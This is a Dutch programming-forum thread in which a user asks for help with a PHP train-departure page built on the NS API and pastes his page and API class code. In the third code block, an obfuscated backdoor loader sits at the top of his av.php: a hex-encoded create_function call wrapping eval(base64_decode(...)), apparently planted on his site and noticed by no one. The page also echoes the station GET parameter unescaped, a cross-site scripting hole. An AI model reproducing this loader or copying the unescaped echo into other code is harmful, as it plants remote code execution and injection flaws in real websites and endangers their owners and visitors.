NS API en PHP
Pagina: « vorige 1 2 3 4 5 6 7 volgende »
Code (php)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
<?php
define(API_USER, '****');
define(API_PASSWORD, '*****');
?>
<!DOCTYPE html>
<html>
<head>
<style type="text/css">
.alignleft {
float: left;
}
.alignright {
float: right;
}
table{
border-spacing: 0px;
border-collapse: collapse;
width: 100%;
}
th {
text-align: center;
font-weight: bold;
padding: 2px;
border: 2px solid #FFFFFF;
background: #4a70aa;
color: #FFFFFF;
}
td {
text-align: center;
padding: 2px;
border: 2px solid #FFFFFF;
background: #e3f0f7;
}
td {
background: #f7f7f7;
}
p#blinking {text-decoration: blink;}
</style>
<script language="javascript">
$(document).ready(function()
{
$("tr:even").css("background-color", "#000000");
});
</script>
<script language="javascript">$(document).read( function () {
function refresh () {
$('#time').load('av.php');
setTimeout("refresh()",10);
}
setTimeout("refresh()",10);
});
</script>
<script>
function startTime()
{
var today=new Date();
var h=today.getHours();
var m=today.getMinutes();
// add a zero in front of numbers<10
m=checkTime(m);
document.getElementById('txt').innerHTML=h+":"+m;
t=setTimeout(function(){startTime()},500);
}
function checkTime(i)
{
if (i<10)
{
i="0" + i;
}
return i;
}
</script>
<title>NS Treinen</title>
</head>
<body window.onload=function(){ startTime() } )">
<center>
<div id="textbox">
<div class="alignright" id="txt"> </div>
</div>
<form action="av.php" class="alignleft" method="GET">
<label for="station">Station:</label>
<input type="text" id="station" name="station" value="<?php if ($_GET['station']) echo $_GET['station']; ?>" />
<input type="submit" value="Bekijk"/>
</form><div id="time">
</div>
<br>
<table height="23" width="85%">
<tr>
<td align="left" width="55px">Tijd:</td>
<td align="left">Station:</td>
<td align="left" width="75px">Spoor:</td>
<td align="left" width="45px">Soort</td>
<td align="left">trein:</td>
<td align="left">platform_changed:</td>
<td align="left">cancelled:</td>
<td align="left">Vertraging:<td>
<?php
if ($_GET['station']) {
require('/home/bussen1b/public_html/NS/php_ns_trains.class.php');
$ns = new PhpNsTrains(API_USER, API_PASSWORD);
$departures = $ns->getDepartures($_GET['station']);
if (!is_array($departures)) {
echo '<p class="error">'.$departures.'</p>';
} else {
foreach($departures as $train) {
echo '<tr>
<th>'.date('H:i', $train['departure']).'</br></td>
<th>'.$train['destination'].'<br><small>'.$train['via'].'</small></th>
<th><img src="img/platform/'.$train['platform'].'.png"/></th>
<th>'.$train['carrier'].' '.$train['type'].' '.$train['service'].'</th>
<th><img width="40px" heigth="40px" src="img/carrier/'.$train['carrier'].'.png"/></th>
<th></th>
<th></th>
<th><font color="#FF0000"></font></th>
</tr>
';
}
}
}
?>
</table>
</body>
</html>
?>
define(API_USER, '****');
define(API_PASSWORD, '*****');
?>
<!DOCTYPE html>
<html>
<head>
<style type="text/css">
.alignleft {
float: left;
}
.alignright {
float: right;
}
table{
border-spacing: 0px;
border-collapse: collapse;
width: 100%;
}
th {
text-align: center;
font-weight: bold;
padding: 2px;
border: 2px solid #FFFFFF;
background: #4a70aa;
color: #FFFFFF;
}
td {
text-align: center;
padding: 2px;
border: 2px solid #FFFFFF;
background: #e3f0f7;
}
td {
background: #f7f7f7;
}
p#blinking {text-decoration: blink;}
</style>
<script language="javascript">
$(document).ready(function()
{
$("tr:even").css("background-color", "#000000");
});
</script>
<script language="javascript">$(document).read( function () {
function refresh () {
$('#time').load('av.php');
setTimeout("refresh()",10);
}
setTimeout("refresh()",10);
});
</script>
<script>
function startTime()
{
var today=new Date();
var h=today.getHours();
var m=today.getMinutes();
// add a zero in front of numbers<10
m=checkTime(m);
document.getElementById('txt').innerHTML=h+":"+m;
t=setTimeout(function(){startTime()},500);
}
function checkTime(i)
{
if (i<10)
{
i="0" + i;
}
return i;
}
</script>
<title>NS Treinen</title>
</head>
<body window.onload=function(){ startTime() } )">
<center>
<div id="textbox">
<div class="alignright" id="txt"> </div>
</div>
<form action="av.php" class="alignleft" method="GET">
<label for="station">Station:</label>
<input type="text" id="station" name="station" value="<?php if ($_GET['station']) echo $_GET['station']; ?>" />
<input type="submit" value="Bekijk"/>
</form><div id="time">
</div>
<br>
<table height="23" width="85%">
<tr>
<td align="left" width="55px">Tijd:</td>
<td align="left">Station:</td>
<td align="left" width="75px">Spoor:</td>
<td align="left" width="45px">Soort</td>
<td align="left">trein:</td>
<td align="left">platform_changed:</td>
<td align="left">cancelled:</td>
<td align="left">Vertraging:<td>
<?php
if ($_GET['station']) {
require('/home/bussen1b/public_html/NS/php_ns_trains.class.php');
$ns = new PhpNsTrains(API_USER, API_PASSWORD);
$departures = $ns->getDepartures($_GET['station']);
if (!is_array($departures)) {
echo '<p class="error">'.$departures.'</p>';
} else {
foreach($departures as $train) {
echo '<tr>
<th>'.date('H:i', $train['departure']).'</br></td>
<th>'.$train['destination'].'<br><small>'.$train['via'].'</small></th>
<th><img src="img/platform/'.$train['platform'].'.png"/></th>
<th>'.$train['carrier'].' '.$train['type'].' '.$train['service'].'</th>
<th><img width="40px" heigth="40px" src="img/carrier/'.$train['carrier'].'.png"/></th>
<th></th>
<th></th>
<th><font color="#FF0000"></font></th>
</tr>
';
}
}
}
?>
</table>
</body>
</html>
?>
Aanpassing:
Code-tags toegevoegd en persoonlijke gegevens verwijderd.
Gewijzigd op 09/05/2013 14:17:11 door - Ariën -
Ikzelf vin het makkelijker om de heel API met SimpleXML uit te lezen i.p.v. met een speciale class. Of je moet zin en tijd hebben om de class om te bouwen als er functionaliteit toegevoegd of aangepast wordt.
Gewijzigd op 09/05/2013 14:17:57 door - Ariën -
Code (php)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
<?php
class PhpNsTrains {
/* API Base URL setting
* Note: currently HTTP, couldn't get the HTTPS to work so far
*/
private static $base_url = "http://webservices.ns.nl/";
private $authUser;
private $authPassword;
/* Constructor, takes API username and password obtainable from http://www.ns.nl/api */
function __construct($username, $password) {
$this->authUser = $username;
$this->authPassword = $password;
}
/*
* Return a list of stations, optionally an associative array with the
* given key from the return values (name, code, lat or long). Second parameter
* specifies whether or not to only include Dutch train stations
* NOTE: In most normal use cases, cache this result
*/
function getStations($key = null, $nlOnly = false) {
$xmlTree = $this->getUrl('ns-api-stations');
if (!in_array($key, array('name', 'code', 'lat', 'long')))
$key = null;
$output = array();
foreach($xmlTree as $xmlStation) {
$station = (array) $xmlStation;
if ($nlOnly && $station['country'] == 'NL') { // Check if dutch
if ($key) {
$output[$station[$key]] = $station;
} else {
$output[] = $station;
}
}
}
return $output;
}
/*
* Get a list of current service disruptions. Options are:
* - 'station': filtered for given station
* - 'actual': show current disruptions? (boolean)
* - 'unplanned': show planned engineering works? (boolean)
*
* TODO: Handle 'bericht' field and test unplanned disruptions and
* add a helper function here
*/
function getDisruptions($options = array()) {
$xmlTree = $this->getUrl('ns-api-storingen', $options);
$disruptions = array();
foreach($xmlTree->Gepland->Storing as $xmlNotice){
$notice = (array) $xmlNotice;
$disruptions[] = array('id' => $notice['id'], 'applicable' => $notice['Traject'], 'period' => $notice['Periode'],
'alternative' => $notice['Advies'], 'reason' => $notice['Reden'], 'delay' => $notice['Vertraging'], 'type' => 'planned');
}
foreach($xmlTree->Ongepland->Storing as $xmlNotice){
$notice = (array) $xmlNotice;
$disruptions[] = array('id' => $notice['id'], 'applicable' => $notice['Traject'], 'period' => $notice['Periode'],
'alternative' => $notice['Advies'], 'reason' => $notice['Reden'], 'delay' => $notice['Vertraging'], 'type' => 'unplanned');
}
return $disruptions;
}
/*
* Get a live list of departures for a given station, optionally with an name of key to use for the index
* Returns a list of departing trains if successfull, an string with error message, or false
*/
function getDepartures($station, $key = null) {
$xmlTree = $this->getUrl('ns-api-avt', array('station' => $station));
$output = array();
// Check if we actually found a list of trains or we got an error
if ($xmlTree->getName() != 'ActueleVertrekTijden') {
// Return the error, otherwise false
if ($xmlTree->getName() == 'error') {
return $xmlTree->message;
}
return false;
} else {
// Loop over each train entry
foreach($xmlTree as $xmlTrain) {
// Cast as an array to get access to most keys
$train = (array) $xmlTrain;
$add = array('departure' => strtotime($train['VertrekTijd']), 'service' => $train['RitNummer'],
'destination' => $train['EindBestemming'], 'type' => $train['TreinSoort'],
'carrier' => $train['Vervoerder'],
'platform' => $train['VertrekSpoor'], 'via' => $train['RouteTekst'] ? $train['RouteTekst'] : "");
// Decode any (optional) delay to a integer minute value
if (isset($train['VertrekVertraging'])) {
if (preg_match('/^PT(\d{0,3}?)M$/', $train['VertrekVertraging'], $matches)) {
$add['delay'] = $matches[1];
}
}
// Check if the platform was changed
$changed = false;
if($xmlTrain->VertrekSpoor->attributes()) {
$attr = (array) $xmlTrain->VertrekSpoor->attributes();
if (isset($attr['@attributes']['wijziging']) && $attr['@attributes']['wijziging'] == "true")
$changed = true;
}
$add['platform_changed'] = $changed;
// Add the various comments, also check if train is cancelled
$cancelled = false;
foreach($xmlTrain->Opmerkingen as $comment) {
$text = trim((string) $comment->Opmerking);
if ($text == "Rijdt vandaag niet") {
$cancelled = true;
}
$add['comments'][] = $text;
}
$add['cancelled'] = $cancelled;
// Add the train to our output list
$output[] = $add;
}
}
return $output;
}
/*
* List the available travel options given a origin and destination.
* Several options can also be set:
* - 'previousAdvices': number of ravel options to list in the past (max 5)
* - 'nextAdvices': number of ravel options to list in the future (max 5)
* - 'dateTime': arrival or departure time
* - 'departure': is the above parameter arrival or departure (boolean)
* - 'hslAllowed': also use highspeed trains? (boolean) - default: true
* - 'yearCard': assume free travel? (boolean) - default: false
*
* TODO: Add support for notices/detection about invalid connections
*/
function getTrips($from, $to, $options = array()) {
if (!empty($options['dateTime'])) {
$options['dateTime'] = date('c', strtotime($options['dateTime']));
}
$xmlTree = $this->getUrl('ns-api-treinplanner', array_merge(array('fromStation' => $from, 'toStation' => $to), $options));
$output = array();
// Loop over each option
foreach($xmlTree as $xmlTrip) {
$trip = (array) $xmlTrip;
$tripOption = array('duration_scheduled' => self::hourMinutesToSeconds($trip['GeplandeReisTijd']),
'duration_actual' => self::hourMinutesToSeconds($trip['ActueleReisTijd']),
'optimal' => $trip['Optimaal'], 'departure_actual' => $trip['ActueleVertrekTijd'], 'departure_scheduled' => $trip['GeplandeVertrekTijd'],
'departure_actual' => strtotime($trip['ActueleVertrekTijd']), 'departure_scheduled' => strtotime($trip['GeplandeVertrekTijd']),
'arrival_actual' => strtotime($trip['ActueleVertrekTijd']), 'arrival_scheduled' => strtotime($trip['GeplandeVertrekTijd']),
'changes' => $trip['AantalOverstappen']
);
// Loop over each part of the option
foreach ($xmlTrip->ReisDeel as $xmlPart) {
$part = (array) $xmlPart;
$stops = array();
// Loop over each stop
foreach ($xmlPart->ReisStop as $xmlStop) {
$stop = (array) $xmlStop;
$curStop = array('station' => $stop['Naam'], 'time' => strtotime($stop['Tijd']));
if (!empty($stop['Spoor'])) {
$curStop['platform'] = $stop['Spoor'];
}
$stops[] = $curStop;
}
$tripOption['connections'][] = array('mode' => strtolower($part['@attributes']['reisSoort']),
'type' => $part['VervoerType'], 'service' => $part['RitNummer'], 'stops' => $stops);
}
$output[] = $tripOption;
}
return $output;
}
/*
* Get a list of prices for a give to/from trip
* Lists class as 1 or 2 (first/second) and discount as (0, 20 or 40%)
*/
function getPrices($from, $to, $via = null) {
$xmlTree = $this->getUrl('ns-api-prijzen-v2', array('from' => $from, 'to' => $to, 'via' => $via));
$output = array();
foreach($xmlTree->Product as $product) {
$productArray = (array) $product;
foreach ($product->Prijs as $price) {
$price = (array) $price;
switch ($price['@attributes']['korting']) {
case "reductie_20": $discount = 20; break;
case "reductie_40": $discount = 40; break;
case "vol tarief": $discount = 0; break;
default: $discount = 0; break;
}
$output[] = array('product' => $productArray['@attributes']['naam'],
'class' => $price['@attributes']['klasse'], 'discount' => $discount, 'price' => $price[0]);
}
}
return $output;
}
// UTILITY FUNCTIONS
/*
* Convert hours and minutes seperated by a colon to seconds
*/
private function hourMinutesToSeconds($input) {
$input = explode(':', $input);
return 60*($input[1]+ ($input[0]*60));
}
/*
* Internal functioning for downloading data
* TODO: Add support for HTTPS and/or CURL
*/
private function getUrl($endpoint, $vars = array()) {
// Write query string
$query = "?";
foreach($vars as $key => $value) {
if ($value != "") {
$query .= $key."=".urlencode($value)."&";
}
}
$query = rtrim($query, '&');
$url = self::$base_url . $endpoint . $query;
// Create context to be able to specify authentication
$context = stream_context_create(array(
'http' => array(
'header' => "Authorization: Basic " . base64_encode($this->authUser.":".$this->authPassword)
)
));
$data = file_get_contents($url, false, $context);
if (!$data)
return false;
// Parse the result
$xmlTree = simplexml_load_string($data);
return $xmlTree;
}
}
?>
class PhpNsTrains {
/* API Base URL setting
* Note: currently HTTP, couldn't get the HTTPS to work so far
*/
private static $base_url = "http://webservices.ns.nl/";
private $authUser;
private $authPassword;
/* Constructor, takes API username and password obtainable from http://www.ns.nl/api */
function __construct($username, $password) {
$this->authUser = $username;
$this->authPassword = $password;
}
/*
* Return a list of stations, optionally an associative array with the
* given key from the return values (name, code, lat or long). Second parameter
* specifies whether or not to only include Dutch train stations
* NOTE: In most normal use cases, cache this result
*/
function getStations($key = null, $nlOnly = false) {
$xmlTree = $this->getUrl('ns-api-stations');
if (!in_array($key, array('name', 'code', 'lat', 'long')))
$key = null;
$output = array();
foreach($xmlTree as $xmlStation) {
$station = (array) $xmlStation;
if ($nlOnly && $station['country'] == 'NL') { // Check if dutch
if ($key) {
$output[$station[$key]] = $station;
} else {
$output[] = $station;
}
}
}
return $output;
}
/*
* Get a list of current service disruptions. Options are:
* - 'station': filtered for given station
* - 'actual': show current disruptions? (boolean)
* - 'unplanned': show planned engineering works? (boolean)
*
* TODO: Handle 'bericht' field and test unplanned disruptions and
* add a helper function here
*/
function getDisruptions($options = array()) {
$xmlTree = $this->getUrl('ns-api-storingen', $options);
$disruptions = array();
foreach($xmlTree->Gepland->Storing as $xmlNotice){
$notice = (array) $xmlNotice;
$disruptions[] = array('id' => $notice['id'], 'applicable' => $notice['Traject'], 'period' => $notice['Periode'],
'alternative' => $notice['Advies'], 'reason' => $notice['Reden'], 'delay' => $notice['Vertraging'], 'type' => 'planned');
}
foreach($xmlTree->Ongepland->Storing as $xmlNotice){
$notice = (array) $xmlNotice;
$disruptions[] = array('id' => $notice['id'], 'applicable' => $notice['Traject'], 'period' => $notice['Periode'],
'alternative' => $notice['Advies'], 'reason' => $notice['Reden'], 'delay' => $notice['Vertraging'], 'type' => 'unplanned');
}
return $disruptions;
}
/*
* Get a live list of departures for a given station, optionally with an name of key to use for the index
* Returns a list of departing trains if successfull, an string with error message, or false
*/
function getDepartures($station, $key = null) {
$xmlTree = $this->getUrl('ns-api-avt', array('station' => $station));
$output = array();
// Check if we actually found a list of trains or we got an error
if ($xmlTree->getName() != 'ActueleVertrekTijden') {
// Return the error, otherwise false
if ($xmlTree->getName() == 'error') {
return $xmlTree->message;
}
return false;
} else {
// Loop over each train entry
foreach($xmlTree as $xmlTrain) {
// Cast as an array to get access to most keys
$train = (array) $xmlTrain;
$add = array('departure' => strtotime($train['VertrekTijd']), 'service' => $train['RitNummer'],
'destination' => $train['EindBestemming'], 'type' => $train['TreinSoort'],
'carrier' => $train['Vervoerder'],
'platform' => $train['VertrekSpoor'], 'via' => $train['RouteTekst'] ? $train['RouteTekst'] : "");
// Decode any (optional) delay to a integer minute value
if (isset($train['VertrekVertraging'])) {
if (preg_match('/^PT(\d{0,3}?)M$/', $train['VertrekVertraging'], $matches)) {
$add['delay'] = $matches[1];
}
}
// Check if the platform was changed
$changed = false;
if($xmlTrain->VertrekSpoor->attributes()) {
$attr = (array) $xmlTrain->VertrekSpoor->attributes();
if (isset($attr['@attributes']['wijziging']) && $attr['@attributes']['wijziging'] == "true")
$changed = true;
}
$add['platform_changed'] = $changed;
// Add the various comments, also check if train is cancelled
$cancelled = false;
foreach($xmlTrain->Opmerkingen as $comment) {
$text = trim((string) $comment->Opmerking);
if ($text == "Rijdt vandaag niet") {
$cancelled = true;
}
$add['comments'][] = $text;
}
$add['cancelled'] = $cancelled;
// Add the train to our output list
$output[] = $add;
}
}
return $output;
}
/*
* List the available travel options given a origin and destination.
* Several options can also be set:
* - 'previousAdvices': number of ravel options to list in the past (max 5)
* - 'nextAdvices': number of ravel options to list in the future (max 5)
* - 'dateTime': arrival or departure time
* - 'departure': is the above parameter arrival or departure (boolean)
* - 'hslAllowed': also use highspeed trains? (boolean) - default: true
* - 'yearCard': assume free travel? (boolean) - default: false
*
* TODO: Add support for notices/detection about invalid connections
*/
function getTrips($from, $to, $options = array()) {
if (!empty($options['dateTime'])) {
$options['dateTime'] = date('c', strtotime($options['dateTime']));
}
$xmlTree = $this->getUrl('ns-api-treinplanner', array_merge(array('fromStation' => $from, 'toStation' => $to), $options));
$output = array();
// Loop over each option
foreach($xmlTree as $xmlTrip) {
$trip = (array) $xmlTrip;
$tripOption = array('duration_scheduled' => self::hourMinutesToSeconds($trip['GeplandeReisTijd']),
'duration_actual' => self::hourMinutesToSeconds($trip['ActueleReisTijd']),
'optimal' => $trip['Optimaal'], 'departure_actual' => $trip['ActueleVertrekTijd'], 'departure_scheduled' => $trip['GeplandeVertrekTijd'],
'departure_actual' => strtotime($trip['ActueleVertrekTijd']), 'departure_scheduled' => strtotime($trip['GeplandeVertrekTijd']),
'arrival_actual' => strtotime($trip['ActueleVertrekTijd']), 'arrival_scheduled' => strtotime($trip['GeplandeVertrekTijd']),
'changes' => $trip['AantalOverstappen']
);
// Loop over each part of the option
foreach ($xmlTrip->ReisDeel as $xmlPart) {
$part = (array) $xmlPart;
$stops = array();
// Loop over each stop
foreach ($xmlPart->ReisStop as $xmlStop) {
$stop = (array) $xmlStop;
$curStop = array('station' => $stop['Naam'], 'time' => strtotime($stop['Tijd']));
if (!empty($stop['Spoor'])) {
$curStop['platform'] = $stop['Spoor'];
}
$stops[] = $curStop;
}
$tripOption['connections'][] = array('mode' => strtolower($part['@attributes']['reisSoort']),
'type' => $part['VervoerType'], 'service' => $part['RitNummer'], 'stops' => $stops);
}
$output[] = $tripOption;
}
return $output;
}
/*
* Get a list of prices for a give to/from trip
* Lists class as 1 or 2 (first/second) and discount as (0, 20 or 40%)
*/
function getPrices($from, $to, $via = null) {
$xmlTree = $this->getUrl('ns-api-prijzen-v2', array('from' => $from, 'to' => $to, 'via' => $via));
$output = array();
foreach($xmlTree->Product as $product) {
$productArray = (array) $product;
foreach ($product->Prijs as $price) {
$price = (array) $price;
switch ($price['@attributes']['korting']) {
case "reductie_20": $discount = 20; break;
case "reductie_40": $discount = 40; break;
case "vol tarief": $discount = 0; break;
default: $discount = 0; break;
}
$output[] = array('product' => $productArray['@attributes']['naam'],
'class' => $price['@attributes']['klasse'], 'discount' => $discount, 'price' => $price[0]);
}
}
return $output;
}
// UTILITY FUNCTIONS
/*
* Convert hours and minutes seperated by a colon to seconds
*/
private function hourMinutesToSeconds($input) {
$input = explode(':', $input);
return 60*($input[1]+ ($input[0]*60));
}
/*
* Internal functioning for downloading data
* TODO: Add support for HTTPS and/or CURL
*/
private function getUrl($endpoint, $vars = array()) {
// Write query string
$query = "?";
foreach($vars as $key => $value) {
if ($value != "") {
$query .= $key."=".urlencode($value)."&";
}
}
$query = rtrim($query, '&');
$url = self::$base_url . $endpoint . $query;
// Create context to be able to specify authentication
$context = stream_context_create(array(
'http' => array(
'header' => "Authorization: Basic " . base64_encode($this->authUser.":".$this->authPassword)
)
));
$data = file_get_contents($url, false, $context);
if (!$data)
return false;
// Parse the result
$xmlTree = simplexml_load_string($data);
return $xmlTree;
}
}
?>
Gewijzigd op 09/05/2013 14:19:25 door David Meijer
Ik vermoed dat als je in $train kijkt, dat je ook delay tegenkomt. Dus kijk daar eens naar....
Gewijzigd op 09/05/2013 14:22:23 door - Ariën -
bij honderd zie ik wel dit staan >>>>>>>>>>>> $add['delay'] = $matches[1];
Kijk gewoon in je eigen av.php script.
Ik vraag me eigenlijk af of dit hele verhaal niet te hoog gegrepen is. Wat is je kennis tot nu toe met PHP?
Gewijzigd op 09/05/2013 14:28:39 door - Ariën -
Toevoeging op 09/05/2013 14:32:11:
en die Robert-jan zegt ook niks meer
Toevoeging op 09/05/2013 14:36:31:
En niet iedereen is overigens verplicht om te reageren ;-)
Gewijzigd op 09/05/2013 14:37:22 door - Ariën -
http://www.bussenentreinenforum.nl/NS/av.php?station=rtd ik zie nu in het laatste vak al de 5 minuten meer niet
Gewijzigd op 25/05/2013 18:09:46 door David Meijer
Met mijn vorige reply zou je toch wel wat moeten kunnen?
Gewijzigd op 26/05/2013 00:42:44 door - Ariën -
http://www.bussenentreinenforum.nl/NS/av.php?station=wd Kan iemand mij uitlegen hoe ik bijvoorbeeld als er een spoorwijziging is hem laten zien nu ik als nog niks wel de vertragin maar daar zie ik al de getallen staan.
Code (php)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
<?php $zend_framework="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; @error_reporting(0); $zend_framework("", "\x7d\73\x40\145\x76\141\x6c\50\x40\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x4a\107\x56\62YTFmWTJiYWsxY3owaXIgPSAiXHg2NlwxNjVceDZlXDE0M1x4NzRcMTUxXHg2ZlwxNTZceDVmXDE0NVx4NzhcMTUxXHg3M1wxNjRceDczIjsgJGV2YTFmWTJiYWwxY3owaXIgPSAiXHg2ZlwxNDJceDVmXDE2M1x4NzRcMTQxXHg3MlwxNjQiOyAkZXZhMWZZMmJhbDFjejhpciA9ICJce***KNIP***Vx4MzJcMTQyXHg2MVwxNTNceDMxXDE0M1x4NTZcNjJceDY5XDE2MiIpOw0KCX0\x4e\103\x6e\60\x3d\42\x29\51\x3b\57\x2f"); ?><?php
define(API_USER, '************');
define(API_PASSWORD, '**************');
?>
<!DOCTYPE html>
<html>
<head>
<!-- stylesheet -->
<link rel="stylesheet" type="text/css" href = "css/fullscreen.css" media="screen" />
<!-- stylesheet js-->
<script type="text/javascript" src="js/jquery.min1.4.2.js"></script>
<script type="text/javascript" src="js/jquery.js"></script>
<script type="text/javascript" src="js/jquery.corner.js"></script>
<style type="text/css">
.alignleft {
float: left;
}
.alignright {
float: right;
}
table{
border-spacing: 0px;
border-collapse: collapse;
width: 100%;
}
th {
text-align: center;
font-weight: bold;
padding: 2px;
border: 2px solid #FFFFFF;
background: #4a70aa;
color: #FFFFFF;
}
td {
text-align: center;
padding: 2px;
border: 2px solid #FFFFFF;
background: #e3f0f7;
}
td {
background: #f7f7f7;
}
p#blinking {text-decoration: blink;}
</style>
<script language="javascript">
$(document).ready(function()
{
$("tr:even").css("background-color", "#000000");
});
</script>
<script language="javascript">$(document).read( function () {
function refresh () {
$('#time').load('av.php');
setTimeout("refresh()",1);
}
setTimeout("refresh()",1);
});
</script>
<script>
function startTime()
{
var today=new Date();
var h=today.getHours();
var m=today.getMinutes();
// add a zero in front of numbers<10
m=checkTime(m);
document.getElementById('txt').innerHTML=h+":"+m;
t=setTimeout(function(){startTime()},500);
}
function checkTime(i)
{
if (i<10)
{
i="0" + i;
}
return i;
}
</script>
<title>NS Treinen</title>
</head>
<body>
<center>
<div id="responsecontair">
<div id="textbox"></div>
<div class="alignright" id="txt"> </div>
<div class="alignleft" style="width: 3px; height: 19px"><?php echo ''. date('H:i').''; ?> <p id="blinking"></p></div>
</div>
<form action="av.php" class="alignright" method="GET">
<label for="station">Station:</label>
<input type="text" id="station" name="station" value="<?php if ($_GET['station']) echo $_GET['station']; ?>" />
<input type="submit" value="Bekijk"/>
</form><div id="tijd">
</div>
<br>
<table height="23" width="85%" cellspacing="1">
<tr>
<td align="left" width="55px">Tijd:</td>
<td align="left">Station:</td>
<td align="left" width="45px">Spoor:</td>
<td align="left" width="52">Soort</td>
<td align="left" width="73">Trein:</td>
<td align="left" width="196">Spoor Wijziging:</td>
<td align="left" width="102">Geannuleerd:</td>
<td align="left" width="127">Vertraging:<td>
<?php
if ($_GET['station']) {
require('/home/bussen1b/public_html/NS/php_ns_trains.class.php');
$ns = new PhpNsTrains(API_USER, API_PASSWORD);
$departures = $ns->getDepartures($_GET['station']);
if (!is_array($departures)) {
echo '<p class="error">'.$departures.'</p>';
} else {
foreach($departures as $train) {
echo '<tr>
<td class="tijd"><div class="vertrektijd">'.date('H:i', $train['departure']).'</div></td>
<td class="naar_via_opm"><div class="naar">'.$train['destination'].'</div><div class="viaopm"><div class="via" style="visibility: visible;">'.$train['via'].'</div><div class="opmerkingen" style="visibility: hidden;">'.($add['platform_changed'].''.$attr['wijziging']).'</div><div class="breaker"></div></td>
<td><img src="img/platform/'.$train['platform'].'.png"/></td>
<td><div id="soort">'.$train['carrier'].' '.$train['type'].' '.$train['service'].'</div></td>
<td><img width="120px" heigth="120px" src="img/carrier/'.$train['carrier'].'.png"/></td>
<td><div id="wijzigingspoor">'.($attr['@attributes']['wijziging'].''.$add['platform_changed']).'</div></td>
<td><div id="rijdtniet">'.($add['comments'].''.$add['cancelled']).'</div></td>
<td class="trein" colspan="2"><div class="vertraging"><font color="#FF0000">'.($train['VertrekVertraging'].''.$train['delay']).'</div></font></td>
</tr>
';
}
}
}
?>
</table>
</body>
</html>
?>
define(API_USER, '************');
define(API_PASSWORD, '**************');
?>
<!DOCTYPE html>
<html>
<head>
<!-- stylesheet -->
<link rel="stylesheet" type="text/css" href = "css/fullscreen.css" media="screen" />
<!-- stylesheet js-->
<script type="text/javascript" src="js/jquery.min1.4.2.js"></script>
<script type="text/javascript" src="js/jquery.js"></script>
<script type="text/javascript" src="js/jquery.corner.js"></script>
<style type="text/css">
.alignleft {
float: left;
}
.alignright {
float: right;
}
table{
border-spacing: 0px;
border-collapse: collapse;
width: 100%;
}
th {
text-align: center;
font-weight: bold;
